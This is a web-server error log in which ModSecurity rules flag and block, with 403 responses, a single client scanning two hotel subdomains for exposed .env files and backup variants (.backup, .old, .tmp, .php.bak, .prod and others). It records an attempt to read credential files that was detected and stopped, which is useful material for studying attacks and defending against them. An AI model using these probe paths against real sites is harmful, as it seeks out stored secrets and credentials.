[Sun Oct 25 22:07:17.096501 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at611TmmX3asvCDITlDxXQAAAAA"]
[Sun Oct 25 22:07:17.223460 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at611dYvsK9lv2bQxMABgAAAABA"]
[Sun Oct 25 22:07:17.223714 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at611dYvsK9lv2bQxMABgAAAABA"]
[Sun Oct 25 22:07:17.223998 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at611dYvsK9lv2bQxMABgAAAABA"]
[Sun Oct 25 22:07:17.224978 2026] [proxy_fcgi:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 22:07:17.302533 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at611dYvsK9lv2bQxMABgQAAABA"]
[Sun Oct 25 22:07:17.302758 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at611dYvsK9lv2bQxMABgQAAABA"]
[Sun Oct 25 22:07:17.303042 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at611dYvsK9lv2bQxMABgQAAABA"]
[Sun Oct 25 22:07:17.304593 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at611TmmX3asvCDITlDxXwAAAAA"]
[Sun Oct 25 22:07:17.304804 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at611TmmX3asvCDITlDxXwAAAAA"]
[Sun Oct 25 22:07:17.305080 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at611TmmX3asvCDITlDxXwAAAAA"]
[Sun Oct 25 22:07:17.391710 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.tmp"] [unique_id "at611dYvsK9lv2bQxMABggAAABA"]
[Sun Oct 25 22:07:17.391956 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.tmp"] [unique_id "at611dYvsK9lv2bQxMABggAAABA"]
[Sun Oct 25 22:07:17.392232 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.tmp"] [unique_id "at611dYvsK9lv2bQxMABggAAABA"]
[Sun Oct 25 22:07:17.394118 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at611TmmX3asvCDITlDxYAAAAAA"]
[Sun Oct 25 22:07:17.394253 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at611TmmX3asvCDITlDxYAAAAAA"]
[Sun Oct 25 22:07:17.394542 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at611TmmX3asvCDITlDxYAAAAAA"]
[Sun Oct 25 22:07:17.473449 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php.bak"] [unique_id "at611dYvsK9lv2bQxMABgwAAABA"]
[Sun Oct 25 22:07:17.473718 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php.bak"] [unique_id "at611dYvsK9lv2bQxMABgwAAABA"]
[Sun Oct 25 22:07:17.474012 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php.bak"] [unique_id "at611dYvsK9lv2bQxMABgwAAABA"]
[Sun Oct 25 22:07:17.474222 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.tmp"] [unique_id "at611TmmX3asvCDITlDxYQAAAAA"]
[Sun Oct 25 22:07:17.474397 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.tmp"] [unique_id "at611TmmX3asvCDITlDxYQAAAAA"]
[Sun Oct 25 22:07:17.474653 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.tmp"] [unique_id "at611TmmX3asvCDITlDxYQAAAAA"]
[Sun Oct 25 22:07:17.572888 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at611dYvsK9lv2bQxMABhAAAABA"]
[Sun Oct 25 22:07:17.573112 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at611dYvsK9lv2bQxMABhAAAABA"]
[Sun Oct 25 22:07:17.573430 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at611dYvsK9lv2bQxMABhAAAABA"]
[Sun Oct 25 22:07:17.574573 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php.bak"] [unique_id "at611TmmX3asvCDITlDxYgAAAAA"]
[Sun Oct 25 22:07:17.574710 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php.bak"] [unique_id "at611TmmX3asvCDITlDxYgAAAAA"]
[Sun Oct 25 22:07:17.574983 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php.bak"] [unique_id "at611TmmX3asvCDITlDxYgAAAAA"]
[Sun Oct 25 22:07:17.651894 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at611dYvsK9lv2bQxMABhQAAABA"]
[Sun Oct 25 22:07:17.652102 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at611dYvsK9lv2bQxMABhQAAABA"]
[Sun Oct 25 22:07:17.652414 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at611dYvsK9lv2bQxMABhQAAABA"]
[Sun Oct 25 22:07:17.653964 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at611TmmX3asvCDITlDxYwAAAAA"]
[Sun Oct 25 22:07:17.654094 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at611TmmX3asvCDITlDxYwAAAAA"]
[Sun Oct 25 22:07:17.654376 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at611TmmX3asvCDITlDxYwAAAAA"]
[Sun Oct 25 22:07:17.731917 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at611dYvsK9lv2bQxMABhgAAABA"]
[Sun Oct 25 22:07:17.732158 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at611dYvsK9lv2bQxMABhgAAABA"]
[Sun Oct 25 22:07:17.732437 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at611dYvsK9lv2bQxMABhgAAABA"]
[Sun Oct 25 22:07:17.733210 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at611TmmX3asvCDITlDxZAAAAAA"]
[Sun Oct 25 22:07:17.733409 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at611TmmX3asvCDITlDxZAAAAAA"]
